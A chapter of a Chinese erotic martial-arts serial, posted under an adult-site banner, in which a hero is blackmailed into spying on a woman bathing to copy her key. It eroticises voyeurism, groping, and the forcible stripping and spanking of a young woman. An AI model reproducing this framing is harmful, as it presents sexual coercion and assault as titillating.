★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

[都市]丽影蝎心-6

  




~第八回神秘偷袭者~



偷袭者从怀里掏出一个瓷瓶掷来,缓缓道:「这药可以暂缓她体内的毒性两天,但二十四个时辰之后重行发作。在下身上也未带着更多的解药,任公子就算杀了我也是没用!」

任中杰不及多说,一手拨开了瓶盖,一手捏住方婉萍的香腮,将瓶子里的液体灌进了她的嘴里。这药水果然甚是灵验,仅过了半盏茶时光,方婉萍脸上那种病态的嫣红慢慢减退了,她迷迷糊糊的呢喃了两声,就合上双眼沉沉的睡着了。

「剩下的解药呢?你把它藏在哪里?」任中杰吁了一口气,冷然凝视着对手道:「你要是不把解药交出来,我保证会叫你死得惨不堪言!」

偷袭者不动声色,道:「在下不过是奉命行事的一名小卒,死活根本无关紧要。任公子若想出手逼供,在下虽不能反抗,但自尽的把握总还是有的。嘿嘿!惟一可惜的就是这花朵般娇艳的十三姨太了,白白的陪着我送了性命!」

任中杰沉默了很久,终于道:「说吧,你有什么条件?」

偷袭者发出金属般难听的笑声,阴恻恻的道:「任公子的确识时务!好,我也就不兜圈子了。后日清晨,你拿一样东西到玄武湖交换解药!」

任中杰道:「是什么东西?」

偷袭者一字字道:「凌夫人的人头!」

任中杰想也不想,断然道:「不行!救一人而杀一人,不如不救!」

偷袭者厉声道:「你想要十三姨太死,那也容易得很。」

任中杰淡淡道:「她要是真的遇到不测,我拼命也要替她报仇的!我可以向你发誓,总有一天,你会落到我的手中,尝遍世上最残忍的酷刑!」

他的声音并不大,也不凶狠,可是却蕴含着一种令人心悸的寒意,使人相信他所说的每一个字都将变为现实。

偷袭者似乎被这股气势给镇住了,半晌后才拊掌道:「好,任公子果然是个怜香惜玉的多情种!鄙上说你是绝不会做辣手摧花之人的,看来还真的给她料中了。」

「鄙上?原来你幕后还有指示者!」任中杰目光如刀,冷冷道:「这个人是谁?他和凌夫人究竟有什么深仇大恨,非要取她的性命不可?」

「和一个漂亮女人有仇的,往往是另一个漂亮女人!」偷袭者嘎嘎干笑着,讥诮的道:「任公子自诩为情场圣手,难道连如此简单的道理都猜不出么?」

任中杰失声道:「女人?躲在幕后策划的竟是个女人?」

「是的,她是个女人……」偷袭者的声音忽然变得沙哑而低沉,听起来充满了奇异的煽动力:「而且,她还是一个美艳无双、绝对能令任公子永难忘怀的女人!」

任中杰面无表情,漠然道:「哦?世上若真有这样的绝色美人,我倒真想见上一见!不知她芳名如何称呼?」

偷袭者阴森森一笑,道:「未曾征得鄙上的同意,她的名讳自然不便奉告!不过,任公子可以叫她‘月下丽影’,只因鄙上一直自信的认为,除了月宫里的嫦娥外,普天之下怕是再也找不到比她更美的女人了!」

任中杰叹了口气,道:「这位能和仙女媲美的丽人,恐怕我是没有福份欣赏到她的玉容了!」

「恰恰相反,任公子不但有缘能够目睹鄙上的容色,就连一亲芳泽、共赴巫山也是迟早的事!」偷袭者注视着他,悠然道:「只要公子能答应我们提出的条件……」

任中杰打断了他的话,坚决的道:「你若想要我做伤天害理之事,那是万万不能!」

「嘿,你放心,鄙上已经交代过了,如果公子不愿杀人,还有另外一个任务可供选择!」偷袭者说到这里顿了顿,忽然道:「你是否注意到,凌夫人的颈下挂着一条心形的钥匙坠子?」

「颈下」的意思,通常都是指胸部。任中杰怔了怔,苦笑道:「你想叫我把手伸起她的胸襟里,从她的乳峰间摸到这个坠子,然后再偷偷拿出来给你?」

偷袭者摇头道:「不,如果被她察觉坠子失窃,我们的行动就变得毫无意义了。你不必将坠子本身偷出,只要你能暗中将模型复制下来就行了。」

「复制下来?」任中杰又好气又好笑,喝道:「我不是锁匠,何况还要在她不知不觉间复制,这谈何容易?」

偷袭者手一扬,又掷过来一团暗青色的物事,任中杰伸手接住一看,原来是块粘乎乎的泥团。

「这是京城‘泥人张’用的上等好泥……」偷袭者解释道:「你把它轻轻的贴在钥匙坠子上,就会留下齿形的轮廓了。」

任中杰沉吟道:「复制钥匙的模印不难,但想要瞒过凌夫人的耳目,恐怕不大可能。这坠子她既然是贴身佩带,除非我强行剥光她的衣服,否则怎么能见得到?」

偷袭者低笑道:「你可以等她自己脱光衣服时下手。」他色迷迷的笑了笑,又道:「明晚戌时,凌夫人必定会在总坛的‘碧水温池’出浴,你要事先潜入藏好行踪,等凌夫人来到后你更要万分留神。须知夫人本身武功不弱,随行的八名剑婢也都是高手,稍一疏忽就会功败垂成。」

任中杰苦笑道:「虽然凌夫人出浴时会脱光衣衫,但有那么多双眼睛牢牢盯着,我又怎能神不知鬼不觉的把泥团贴到那坠子上?」

偷袭者神秘的道:「我们会为你创造一个机会!等凌夫人入水一刻钟后,温池里会发生一起大混乱,所有的人都将在一瞬间茫然失措,那就是你下手的大好时机了。」

任中杰皱眉道:「大混乱?你可否说得详细些,是什么样的混乱?」

偷袭者道:「不行!明晚你自然就知道了。但我不得不提醒你一句,若连你也被那混乱所震惊,就会白白的错失了良机,只因你最多也只有一刹那的机会出手!」

任中杰凝视着他的眼睛,看了很久,淡淡道:「阁下运筹帷幄,对神风帮中的一切如此熟悉,在帮中的地位之高怕是屈指可数了。你以为我真的猜不出你是谁吗?」

偷袭者全身大震,强笑道:「你……你真的猜出来了?」

任中杰道:「假的!」

偷袭者目中怒色一闪即逝,平静的道:「任公子真爱说笑话。你得手之后,就可根据泥团上的齿痕复制一把钥匙,后日凌晨单独前去玄武湖畔,到时那里会竖起一个蜡像,你把钥匙放在蜡像的左手上,过一刻钟后再回来,解药就会放在右手上了。」

任中杰沈声道:「我怎知你们会不会守信用?若我交出了钥匙,你却不给解药呢?」

偷袭者道:「我们的目的不在于杀害十三姨太,也无意得罪任公子这样的强劲对手……况且,你眼下也只能赌一赌了!」

任中杰点了点头,道:「好,一言为定!」

偷袭者抱拳一揖,身子猛地倒纵而出,黑色的披风在夜风下猎猎飞舞,很快就融进了深沉的夜幕中。

************

天亮了,任中杰伸了个懒腰,从地板上坐了起来,往床的方向一望,方婉萍兀自甜睡未醒,几丝散发贴在她光洁的额角上,使她看上去平添了几分妩媚。

──这样一个娇美动人的少妇,难道要眼睁睁的让她走向死亡?或者,任凭她被四十九个臭男人狂抽猛插,受尽人世间最残酷的折磨?

任中杰紧紧握住双拳,暗中下了决心,无论如何也要想办法救她。

他缓步走出小屋,仰起头面对着朝阳,让清晨柔和的阳光照射在脸颊上,新鲜好闻的微风吹了过来,使他的头脑变的非常清醒,思绪开始在脑海里翻腾。

昨夜那该死的偷袭者离开后,他追又不是,等又不是,心里窝囊到了极点。在这种情况下,他果断地采取了老办法来对付──那就是蒙上头,美美的睡上一觉!就算有天大的困难,那都是第二天的事了!

但现在「第二天」已经到了,他所面临的困难却没有好转的迹像。

他把昨夜发生的事认真的回想了五、六遍,试图去发现一些线索,比如说,那个「偷袭者」到底是谁?

这个人用黑色披风包裹住全身,显然是不想被人从体形上认出来。除了六当家左雷东过于瘦小没有嫌疑外,其他的五个当家都有可能装束成那副打扮!

还有,此人用来改变他声音的「控喉术」,明明是江湖上失传已久的一种武功!对了,杀死蒋舵主的「枯心掌」,会不会也是从这个人的手里打出的?如果真是这样,此人身怀诸多失传的绝学,倒是自己生平罕见的强劲对手……

任中杰一边沉思,一边信步而行,也不晓得闲逛了多久,他的脚步忽然顿住了。原来在不知不觉间,他竟来到了总坛内的禁地──那片神秘的人工树林前。

林木萧萧,枝蔓繁茂,微黄的枯叶在秋风中瑟瑟发抖。寂静的树林被凌晨的薄雾缭绕着,一眼望去,幽深的看不见尽头,仿佛有一股诡异的气息弥漫其中。

──住在里面的就是神风帮的凌大小姐,除了侍芸之外,擅自闯入此间的人一律杀无赦!

──这位一直没有露面的神秘姑娘,是凌振飞帮主的独生爱女,但她和凌夫人却只是名义上的母女,并没有任何血缘上的关系,这中间是否有什么不可告人的内幕?

「也许整个事件的真相就隐藏在这里!」任中杰回想起前天晚上听到的鬼哭似的女子歌声,心中生起了一团疑云。他站在原地思忖了片刻后,警惕的望了望四周,准备冒险潜进林子探个究竟……

就在这时候,他的发梢忽然无风自动,一阵极轻的衣袂带风声隐隐的传了过来。任中杰心念一闪,身形立刻悄没声息的飞起,如同壁虎般牢牢的贴在了附近的一株大树上。

他刚刚埋伏妥当,林子中就出现了一个身着蓝衫的人影,轻飘飘的在枝叶间纵跃了几下,就似凭虚御风一样掠出了树林,转眼就从视线中消失了。

「唐钢!他怎么会在这里?」任中杰几乎忍不住失声惊呼,他看的出唐钢的步子走的甚是熟练轻松,绝对不是第一次出入这片树林了!

──这个蜀中唐门的年轻高手,究竟用了什么方法,竟能如此神出鬼没的往来禁地?如果此人是受凌大小姐邀请的熟客,为什么行踪又要如此闪烁诡秘?

任中杰定了定神,慢慢地从树上滑下来,仔细的观察着视野中的一草一木。这里表面上波澜不惊、安静平和,其实他深深的知道,只要自己一踏进去就必然危机四伏、处处凶险,随时都可能送命归天!

「看来,我现在不应该贸然闯入,以免打草惊蛇!」他沿着树林边缘踱着步子,自言自语道:「要是万一失手被擒,今晚就无法执行任务了……」

一想到任务,他的心中不由的一荡,脑海里条件反射般浮现出了凌夫人的身影。那高贵端庄的俏脸,娴静典雅的气质,成熟柔美的身段,这一切无不令他神魂飘荡、想入非非。要是运气好的话,今晚就能亲眼目睹凌夫人脱光了衣服的曼妙裸体,这样的眼福可不是人人都有机会撞到的!

他想到兴奋之处,身子骨头仿佛都轻了几两。正在飘飘然忘乎所以时,后面忽然传来一声咳嗽,有人长笑道:「有朋自远方来,不亦乐乎?想不到任公子心中之乐,还超过了我们这些主人!」

随着说话声,一个人从身后缓步走出,白巾高屐,淡青色的儒衫干净的一尘不染,手中摇着柄折扇,脸上满带着潇洒儒雅的微笑,正是「铁扇小诸葛」罗镜文。

任中杰一本正经的说道:「先天下之乐而乐,后天下之忧而忧!我这个乐天派,本来就抱定谈笑江湖的宗旨的,怎么会为了一点小困难而烦恼?」

罗镜文一怔,道:「小困难?任公子有什么困难?可是吃住得不好么?」

任中杰仔细地观察着他,见他眸子中微露惊讶之色,一点也不像是假装出来的,只好叹了口气道:「这里的好酒虽不少,惜无好酒友能陪我一醉方休,实是令人抱憾!」

罗镜文微笑道:「哦?却不知什么样的人才能算是好酒友呢?」

任中杰道:「喝酒多、吃菜少,说话多、呕吐少,不在中途推醉离席,不会事后泄人隐私的,都可算是准一流的酒友了!」

罗镜文好奇道:「只是准一流?那超一流又要如何呢?」

任中杰道:「超一流?那样的人,必须是你肝胆相照、生死相托的好朋友!只因你和他喝的已经不是酒,而是比美酒还要醇的多的友谊。」他说到这里,声音里仿佛充满了温暖之意,忽然道:「你是否知道‘飘萍荡客’祁楠志?」

罗镜文点头道:「当然。他是任公子最要好的朋友,和公子你并称‘浪荡双绝’,江湖上又有几个人不知道?」

任中杰眺望着天际流动的浮云,缓缓道:「我只有和他在一起喝酒时,才会感到无拘无束、轻松自在,真正享受到豪饮千杯的乐趣!」

罗镜文微笑道:「那么在下呢?任公子若和我一同喝酒,又会把我归入第几流呢?」

任中杰凝视着他,淡淡道:「那就要看罗当家把我视为第几等的朋友了!你我之间若能够坦诚相见,就算是世间最劣的酸酒,也一定会喝出香醇甜美的滋味来。」

罗镜文目光闪动,道:「任公子话中似乎别有深意,何妨直说出来?在下洗耳恭听。」

任中杰叹息道:「你难道现在还不打算告诉我全部的事实么?罗当家邀请在下协助,却又在关键问题上遮遮掩掩,不肯和盘托出,岂不是令人寒心?」

罗镜文面色微变,苦笑着问道:「不晓得任公子所指的是……是什么关键问题?」

任中杰瞪着他,一字字道:「是动机!凶手要行刺凌夫人的动机!」

罗镜文支吾道:「这个么?我们也不是很清楚,或许是寻仇……」

任中杰打断了他的话,冷冷道:「你说六位当家之中,有一个是意图行刺的凶手,这一点确实不错。但你为什么不早告诉我,还有一个女人也是同谋?」

罗镜文怔了半晌后才苦笑道:「任中杰果然不愧是人中豪杰,什么事都瞒不过你!」他犹豫了片刻,最终还是缓缓道:「其实这个女人才是幕后主使者,只是我们根本猜不出她是谁?是帮主的那些妻子?是外面养的情妇?还是哪个红颜知己?」

任中杰双目炯炯,道:「主使者是个女人,这也没什么大不了的,可是她的动机呢?这一点诸位当家必然是心知肚明的,对不对?」

罗镜文长叹道:「不错。我们六个当家原来已经说好,不会把动机告诉任何一个人,但是现在么……现在……」

他咕哝了几句,突然道:「我这就去和所有当家商量,看看能否将之公开。但恐怕在下需要时间来说服他们……」

任中杰淡淡道:「你们最好快一点,危机已经迫在眉睫!别要等你们商量出来时,凌夫人已经惨遭毒手了!」

罗镜文点头称是,然后对着任中杰一拱手,转身飘然离去。

************

戌时终于到了。任中杰藏身在一条巨大的横梁上,屏声静气的望着下方的池水。

「碧水温池」是神风帮总坛里最舒适豪华的室内澡堂,一股暖和的地下温泉从这里流过,在这样的池水里沐浴简直是人生的一大快事。

澡堂长六丈,宽五丈,绝大部份的面积都被池塘所占据,池边站着八个劲装佩剑的清秀少女,各自面向一个方位,警惕的望着前方。

没有人抬头向上看,上面虽然有不少横梁,但最矮的也有四丈高,世上绝没有人能一跃四丈,更何况在水面上无所借力,所以「白衣八剑婢」只是在进来时匆匆瞥了一眼屋顶,就没有再加留意了。

那么,任中杰又是怎样跃上横梁的呢?说来简单,当他一个时辰前潜进空无一人的澡堂时,竟意外地发现屋顶上垂着一条又细又长的钢链,有了这样一道阶梯,稍有武功的人都可以顺利的爬上横梁了。

可是,这条钢链又是怎样系上去的呢?除非……除非一个人悬浮在水面上,把同伴奋力向上抛,凭藉这一抛之力,要跃上屋顶也并非难事了。

任中杰选择的是最靠近温池的一条窄梁,这样便可以更好地观察水面上的一切,搞清楚凌夫人究竟把钥匙坠子放在哪里,当然,「顺便」也可以欣赏一下美人出浴的香艳场面。

当凌夫人亭亭玉立在池子前面,风姿优雅的将身上的衣衫一件件脱下时,任中杰的心剧烈的跳动着,激动的差一点从横梁上掉了下来。

明晃晃的烛光下,她那娇艳绝丽的俏脸上蒙着一层细细的汗珠,粉颊被温热的水气一蒸,透出了淡淡的嫣红。乌黑的秀发已经打开了,像缎子般披散在浑圆的双肩上,更衬的她容色如玉、肤光胜雪,就像下凡的仙子一样高贵、典雅、可望而不可及。

此刻,她丰满诱人的胴体大半都裸露了出来,只剩下一抹淡紫色的肚兜,和一件丝绸织成的亵裤,勉强的遮盖住那成熟到了极点的娇躯,遮盖住了那令人神魂颠倒的地方。

任中杰的口水都快淌了下来,他直直的盯着这梦寐以求的美妙肉体,生怕错过了任何一个部位。突然,他发现那肚兜上绣的竟是一对戏水的鸳鸯,而那亵裤似乎也太窄太小了些,以至于那两条修长晶莹的粉腿完全的呈现在自己的眼中。

──她的外表虽然端庄,原来内心也是渴盼着激情欢爱的,毕竟,丈夫离开的时间已经太久、太久了……

凌夫人的手抚在自己高耸的胸膛上,也不知想起了什么,神色忽然变得十分娇羞,明眸悄悄一转,见「八剑婢」依然各守岗位,根本没有注意到这里,才放心的喘了口气,她伸手从肚兜里拉出了一条坠子,再把它缓缓的从颈脖上解了下来。

任中杰心中一震,这果然是条心形的钥匙坠子!他连忙收摄心神,目光牢牢的锁定在坠子上,眨也不眨的盯视着它。

只见凌夫人的柔美纤手将坠子放在了池边的衣服堆上,然后这只手就移了开去。任中杰心头懊丧,明知她一定是在解除身体的最后束缚,却偏偏不敢转头望上一眼,只因他深深的知道,只要目光一触到那完美无暇的胴体,就会永远永远的停留在上面,再也不舍得挪开。

──这时候他无论如何不能分心,因为出手的机会只有一刹那!

「哗啦啦」的水声响起来,凌夫人的身子融入了热气腾腾的温水中,她舒服地娇吟了一声,就像美人鱼一样欢快地泼弄着池水。不着寸缕的雪白裸体在水的包围下载沈载浮,那会是一幅多么动人的美景呀!可惜任中杰却欣赏不到了……

也不知过了多久,就在任中杰被欲望煎熬得快要爆炸时,他心中猛然一跳,多年来培养出来的武者本能告诉他,有什么变故马上就要发生了!他立刻把真力遍布了四肢百骸的每一个地方,刚刚作好迎接混乱的准备,意想不到的变故果然出现了!











~第九回血光再现~



澡堂里原本点着七支粗若儿臂的蜡烛,突然,这七点明亮的火光竟一起熄灭了!伸手不见五指的黑暗立刻笼罩了四周的空间。

就在这一刹那,任中杰已经出手!他的人像闪电般从横梁上跃起,凌空一掠三丈!没有人能形容这一掠的速度和精确,这几乎已达到了人类体能的极限!

虽然他什么也看不见,可是那钥匙坠子的位置早已深深的刻进了他的大脑。他有绝对的把握这次摸黑的出手不会落空。

果然,他的右手马上碰到了那条质感温润的坠子,掌心里的泥团随即轻轻的贴了上去。与此同时,温池里已响起了此起彼落的娇呼声、拔剑声,和「沙沙」的衣衫带风声。

他不敢停留,左肘在池边一按,身子已借力向后翻出,蓦地里肩头一痛,竟然撞到了一个人的身体。那人极轻微的「嗯」了一声,出拳向他肋下击来。

任中杰反应极快,听风辨位躲开了这一招,左掌斜刺里探出,想将那人的双手一起擒住,谁知五指一握之下,只感触手处是绵软丰盈的两团软肉,抓住的竟是一个女子的椒乳!

他心头如电光火石般一跳,手掌顺势在那女子娇躯上摸了两把,骇然察觉她身上并无佩剑,却又好端端的穿着衣服!

──如果这女子是「白衣八剑婢」中的一个,那她就应该有佩剑。如果她是凌夫人,就不应该穿着衣服!

──难道除了自己,这澡堂中另外还有人潜伏么?

任中杰不及多想,随手点了这女子的穴道,同时大脚一踹,硬生生的从池沿踢下了一块石头,带着一股强劲的风声向屋顶射去。

「砰」的一响,屋顶被砸开了一个大洞,纷纷扬扬的瓦砾碎石像雨点般坠了下来。八剑婢齐齐和身扑上,护住水池里正当其冲的凌夫人。就在这混乱之中,任中杰伸臂搂住了那女子的纤腰,神不知鬼不觉的从大门掠了出去。

他的人刚刚消失,夜色中就突然出现了一条淡色的人影,全身都包裹在密不透风的夜行衣里,只有一双发亮的眼睛露在外面,恶毒的闪动着尖针般的光芒!

「任中杰,你放心离开吧!下面该轮到我出场了!」这人阴森森地怪笑着,身形如鬼魅般横空飞出,足尖在地面上一点,整个人已轻烟似的飘进了「碧水温池」!

微风轻拂,枝头的枯叶哗啦啦的飘摇,天地之间一片萧杀!今夜的月色,也许很快就要被残酷的鲜血染红……

************

一口气逃到了里许之外后,任中杰才稍微安下了心,逐渐的放慢了疾驰的身法。他相信,凭着凌夫人和八剑婢的轻功,是无论如何也追不上来的。

──今夜的行动基本上是大功告成了,但也出了点小小的纰漏!最出乎意料的是,除了自己之外,现场居然还埋伏着另外一个女人!

──这个女人是什么时候潜伏进来的?怎么自己竟一点也没察觉?难道……她就是那神秘莫测的「月下丽影」?

任中杰想到这里,心中不由自主的一跳,忙低下头打量着怀里抱着的女子。他只看了一眼,脸上就流露出失望的神色,喃喃道:「不像……不像……她一点也不像……」

星光下看的分明,这是个二十左右的妙龄少女,一张清秀脱俗的瓜子脸娇艳欲滴,秀挺的鼻子微微皱着,吹弹得破的雪白双颊上,隐隐浮现着一对可爱的小酒涡!她也正在瞪着任中杰,清澈漆黑的眸子眨也不眨的瞪着他,就像是在参观一只罕见的珍惜动物!

「唉!一个女孩子,怎么能这样子看男人呢?」任中杰感慨的摇了摇头,挥手拍开少女的穴道,一本正经的道:「小姐,这可不是淑女应该有的仪态!」

少女重重的「哼」了一声,纤腰一挺跳下地来,沈着脸道:「任中杰,你好大的胆子!」

任中杰一怔,苦笑道:「好像这里的每个女孩子都认识我,谁都可以随口叫出我的名字!可是,在下却到此刻还猜不出小姐的来历芳名!」

少女顿了顿足,微嗔道:「你少在我面前装蒜!本姑娘的尊贵身份,难道侍芸这小丫头没对你提过么?」

「侍芸?这和她有什么关系?」任中杰说到这里,忽然醒悟,恍然道:「你……你是凌帮主的女儿?神风帮中人人头痛的凌大小姐?」

少女得意的挺起了酥胸,傲然道:「你知道就好!嘿嘿,我就是江湖上大名鼎鼎的‘清风女侠’凌韶芸!小子,你刚才对本姑娘动手动脚,已经犯下了不可饶恕的死罪!呔,还不快快跪地求饶?」

「抱歉的很,在下这辈子还从未有过求饶的记录……」任中杰遗憾的摊开双手,慢吞吞的道:「下跪倒偶尔发生过几次,不过那都不是为了求饶!」

凌韶芸秀眉微蹙,不解的道:「那是为了什么?」

任中杰强忍住笑意,庄容道:「是为了向女孩子求婚呀!凌大小姐若肯委身下嫁,在下也只好受点委屈,勉勉强强的跪上这么一跪了……」

「呸!你住口!」凌韶芸的俏脸立刻飞红了,娇喝道:「油嘴滑舌的小贼,你是在存心戏弄我么?」

月光下,她又羞又怒的跺着脚,丰满的胸部略微的起伏着,恰到好处凸现出了完美的轮廓。一双修长的美腿裹在贴身的衣衫里,看上去越发显得曲线玲珑、撩人瑕思!

任中杰目不转睛的盯着她,心跳渐渐加快了!他发现这少女的面容虽然还带着几分天真稚气,可是她的身材却已发育的很成熟了,比绝大多数这个年龄的女孩子都要成熟的多!

天使的脸孔,魔鬼的身材,这样的女孩岂非已是每个男人内心深处的梦想?

任中杰舔了舔嘴唇,小腹里忽然涌上了一股热流。昨夜因遇袭而强行抑制住的情欲又开始沸腾了,而且沸腾的比任何时候都要厉害──在逆境中苦苦搏击的人,本来就需要用疯狂的发泄和占有,来重新点燃自己的斗志和信心!

──凌大小姐不就是个现成的发泄对象么?只要自己一出手,就能轻轻松松的剥光她的衣服!然后,趁着周围无人……

「老天!」任中杰暗暗的叫了一声,闭起眼不敢再想下去了,他觉得自己简直是在犯罪,但是这种念头的诱惑力,偏偏又巨大的连他都无法拒绝……

就在这时候,远方忽然传来了一阵震耳欲聋的鼓声,就像是力道千钧的闷雷一样,撕破了初秋夜空的宁静!

任中杰猛地从遐想中惊醒,失声道:「这是什么声音?」

凌韶芸撇了撇嘴,满不在乎的道:「总坛里的警报启动了,很快就会有大批武士来去搜索。嘿嘿,你这个大胆偷窥的淫贼,还想逃的脱天罗地网么?」

「奇怪!我为什么要逃?」任中杰哑然失笑,摊开双手道:「莫忘记我也是神风帮请来的客人!若没有真凭实据,有哪个家伙敢抓我?」

「你──」凌韶芸气不打一处来,咬着嘴唇恨恨的瞪着他。片刻后,她突然转过娇躯,身形如燕子般掠上了一条偏僻的小迳,寒声道:「小子,跟我来!本姑娘有话要对你说!」

任中杰叹了口气,展开轻功追随着她窈窕的背影,喃喃道:「好一个骄横自负的小公主!难怪帮里没人愿意惹她……」

如果在平时,对这样蛮不讲理型的女孩,他早就敬而远之了!可是今天的情况却有些不同,他自己也有一肚子疑惑想好好的问清楚!何况,刚才在温池池畔握住她的胸口时,那良好的手感也让他砰然心动……

「咚、咚、咚……」节奏急促的锣鼓声从四面八方响起,沸腾喧哗的喝叱声转眼间就已清晰可闻!看来神风帮传讯之奇速,竟远远超乎任何人的想像!

任中杰心下担忧,凝神望了凌韶芸一眼,却见她毫不紧张,在幽暗的道路上忽左忽右、忽前忽后的穿行着,巧妙的饶开了巡逻武士的重重包围,顺利的来到了总坛的禁地──那片人工树林子的边缘。

「记得孔当家曾经说过,擅入此间者一律杀无赦!」任中杰忽然停下脚步,嗟叹道:「不知道在下进去以后,还有没有命活着出来?」

凌韶芸霍然回头,轻蔑的道:「你害怕了?堂堂的逐花浪子、江湖上最有名的色鬼,居然也会害怕?」

「凌大小姐这话可错了……」任中杰眯起眼,悠然道:「常言道色胆包天,只要有美色当前,在下是永远也不会害怕的!」他微笑着,再次跟上了凌韶芸的步伐。

两人默不作声地在幽暗的林子里飞掠,也不晓得过了多久,眼前蓦地豁然开朗,竟在树林深处见到了一间典雅精致的小屋!

「侍芸,侍芸,我回来啦!」凌韶芸一边飞身蹿进屋里,一边大声嚷嚷道:「你瞧我把谁带来了……咦?」

她忽然轻呼一声,语气里充满了惊讶!任中杰心头一紧,急忙抢上前来,沈声道:「出什么事了?」

凌韶芸跺脚道:「这小丫头不知道去哪了!哼,总是趁我不在的时候偷偷跑出去胡闹,等一下我非好好的教训教训她不可!」

「有什么样的主子,就有什么样的下人!本来嘛,上梁不正下梁歪!」任中杰口中谈笑着,人已大模大样的闯了进来。他的目光四下一扫,连招呼也不打一声,就自作主张的躺上了屋子里惟一的一张软椅,还把两只脚翘到了对面的书桌上。

「喂,臭小子,你干什么?」凌韶芸尖声叫了起来,粉颊上带着怒意叱道:「你不要命啦?竟敢在我面前如此放肆?」

任中杰懒洋洋的道:「这样的举动也叫放肆么?那我刚才在澡堂里对你施展的手段,又该叫什么呢?」

他不提澡堂还好,一提到这两个字,凌韶芸的火气立刻大了,娇躯一扭,像只母老虎一样冲了上来,霎时间已向任中杰攻出了七招!

她的招式繁复而美观,七招之中竟包含着五种不同门派的武功,但见两只蝴蝶似的纤掌上下翻飞,漫天舞动的仿佛都是掌影,让人看的眼睛也花了。

任中杰却根本连看都不看,只是斜斜地靠在椅背上,单手随意挥洒,就轻描淡写的把来招一一挡开,淡淡说道:「凌大小姐何必动粗呢?有话尽可以好好商量!」

凌韶芸全不理睬,招数越攻越快,犹如狂风暴雨般袭向他的周身要害。任中杰眉头一皱,手腕倏地探出,一把扣住了她的右腕脉门,微一用力,她身上的力道登时消失得无影无踪了。

「快放开我!臭小子……」凌韶芸挣扎了两下,觉得手腕就似被铁铐锁住了一样,怎样也甩不脱,她不禁怒意更甚,娇叱道:「你再不放开我,明天你就会死的很难看!」

任中杰微笑道:「哦?是怎么一个难看法?何妨说出来听听!」

凌韶芸酥胸起伏,恨恨道:「我会把你剁成九九八十一块,全部丢到街上喂狗。不过……不过你这人身上的肉一定是臭的,也许连狗都不爱吃!」

任中杰眨眨眼,悠然道:「你怎么知道我身上的肉是臭的?难道你亲自闻过么?」

凌韶芸的脸红的更厉害了,居然没有出言否认。任中杰目光一转,看了看自己那略为汗湿的衣裳,忍不住大笑道:「这是男人味呀,怎么说是臭呢?你知不知道世上有多少女孩子喜欢还来不及哩!凌大小姐,你要不要试试?」

凌韶芸拼命摇着脑袋,尖叫道:「不闻……偏不闻……这样恶心的味道,就算打死我也不闻!」

任中杰点头道:「好!你不闻也行,但是必须老老实实回答我两个问题!」

凌韶芸一挺胸膛,昂然道:「办不到!你是什么东西?竟然胆敢威胁我?」

任中杰淡淡道:「我也不是什么好东西,只不过是个一身男人臭味的大坏蛋而已。」

这几话刚说完,凌韶芸突然感到手腕一紧,整个娇躯不由自主的向他身上跌了过去,挺拔饱满的酥胸不偏不倚的撞在了他的腹部上,而自己的俏脸却刚好碰到他的腋下,一股浓烈的男子汗味迅猛的钻进了她的鼻子,又从鼻子传输到了五脏六肺!

「呸,臭死啦!」她在心里恨的牙痒痒的,却又不敢开口说话,只得勉强闭住呼吸,一张俏脸已然吓的花容失色。

「怎么样?还想好好的闻一闻吗?」任中杰不怀好意的看着她,笑嘻嘻的说道:「我身上还有一个地方,味道更是浓郁……」

凌韶芸眼圈一红,两行泪珠无声无息的淌了下来,呜呜咽咽的道:「你欺负我……你欺负我……我要去找爹爹,去找孔二叔……呜呜呜……」

她居然哭了,这任性妄为、骄傲顽皮的女孩子居然也会哭了!任中杰大为错愕,手足无措的呆住了,要知道他虽然风流好色,可是却从未欺负过任何一个女人,甚至连欺负的念头都没有起过!

「好啦,好啦!我的凌大小姐,凌公主,你就别哭了……」他急忙放开了她的手腕,苦着脸道:「是在下的不是了,我这就向你赔礼……」

话犹未了,蓦地里眼前白光颤动,他知道不妙,腰臀在椅背上用力一撑,身子已跃起三尺,刚闪过这无影无声的暗器,凌韶芸皓腕一翻,已从袖口抽出柄又短又小的利剑,和身向他扑了过来,所用的竟是两败俱伤的打法。

任中杰心头微怒,夹手夺过短剑,随手一划,已把她的腰带削断。凌韶芸惊叫一声,还来不及作出任何反应,已被他足下一勾,重重的摔倒在了软椅上。

「看来你不单需要嗅一嗅男人味……」任中杰抹了把冷汗,切齿道:「还应该好好的调教一番,才会懂得怎样做一个好女孩!」

「哼,本小姐学艺不精,落在你这大淫魔手上,要杀要剐……悉……悉随尊便,但你若是敢强奸我,那……那我就……」凌韶芸开头几句说的还很硬气,可是上半身被任中杰强行按在椅子上,双乳摩挲着粗糙的席面,一身武功完全施展不出来,说着说着底气就不足了,声音颤抖的连话都说不利索了。

「强奸你么,我倒做不出来!」任中杰故意板起脸,恶狠狠的道:「但小孩子做了坏事,屁股上挨一顿板子就逃不掉啦!」

凌韶芸全身冰凉,失声道:「你敢!臭小子,我绝不会放过你……」一句话还没说完,「哧」的一响,本就已摇摇欲坠的外裤跌到了脚脖子上,夜风一吹之下,只觉得两条粉腿凉飕飕的,显然已完全的裸露在外面,这样的场面才真正令她害怕了。

任中杰眯着眼,目光如磁石般落在了那双白皙健美的玉腿上。只见小腿修长结实,大腿浑圆柔嫩,微微翘起的粉臀包裹在贴身的亵裤里,看上去又香艳又动人。

「不错,不错,这小姑娘的身材真是好得不行……」任中杰喃喃地自语了两句,想到就要亲手「惩罚」这具成熟的肉体,心头隐隐的涌起一股快意,右手猛然间挥出,「啪」的一掌打在了她的屁股上。

「啊──」凌韶芸痛的惨叫一声,臀部猛烈的摇摆着,眼泪如江河决堤般滚滚流下。

任中杰却不容情,出手如风,一掌接着一掌的打去!倾听着凌韶芸痛楚无助的哀号悲泣,和「劈哩啪啦」的手掌着肉声,他忽然觉得十分痛快、十分解气,体内盘旋已久的郁闷似乎也已得到了舒缓……

生平第一次,任中杰隐约的领略到了虐待带给他的快感,可是这样的想法又实在令他不安!过了一会儿,他终于停止了痛击,望着凌韶芸颤抖蠕动的娇躯,怜惜之意油然而生,情不自禁的伸手轻抚着她的翘臀。

「哦……痛……」她轻微的呻吟了一声,臀部紧张的一阵痉挛,虽然被亵裤遮挡着春光,但谁都可以想像的到,那两团娇嫩的臀肉定然已经红肿了!

「怎样?知道我的厉害了么?」任中杰装出一副凶样,冷哼道:「还敢不敢再对我阴险暗算了?」

「不敢了,小女子不敢了……」凌韶芸楚楚可怜的垂下头,抽泣道:「我再也不敢冒犯任公子啦,真的……」

